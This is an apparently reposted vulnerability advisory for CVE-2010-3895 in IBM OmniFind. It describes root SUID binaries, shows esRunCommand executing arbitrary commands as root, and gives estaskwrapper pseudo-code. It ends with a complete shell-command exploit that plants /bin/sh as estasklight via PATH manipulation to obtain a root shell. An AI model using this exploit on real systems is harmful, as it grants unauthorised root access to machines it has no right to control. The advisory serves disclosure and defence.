IBM OmniFind Privilege Escalation Vulnerability

===============================================
IBM OmniFind Privilege Escalation Vulnerability
===============================================

* Privilege escalation in two applications (CVE-2010-3895)
 
Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.
 
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------
 
 
»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
   
  [email protected]:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------
 
 
 
The application »estaskwrapper« is meant to start the application »estasklight«.
The pseudo c code looks like this:
-------------------------------------------------------------------------
    main() {
      int auth = 0;
      ...
      if (argv[1] == "estasklight") {
        auth = 1;
          ...
          path = getenv("ES_LIBRARY_PATH");
          if (path) {
            setenv("LD_LIBRARY_PATH", path);
            setenv("LIBPATH", path);
            ...
            if (auth) {
              execvp ("estasklight", args);
            }
            ...
          }
        ...
      }
    ...
    }
-------------------------------------------------------------------------
 
 
Explanation of the code:
 
»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set.
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.
 
 
 
Exploit for running /bin/sh
-------------------------------------------------------------------------
[email protected]:~> cp /bin/sh ~/bin/estasklight
[email protected]:~> export ES_LIBRARY_PATH=/home/joemueller
[email protected]:~> export PATH=/home/joemueller/bin:$PATH
[email protected]:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------



#  0day.today [2018-03-28]  #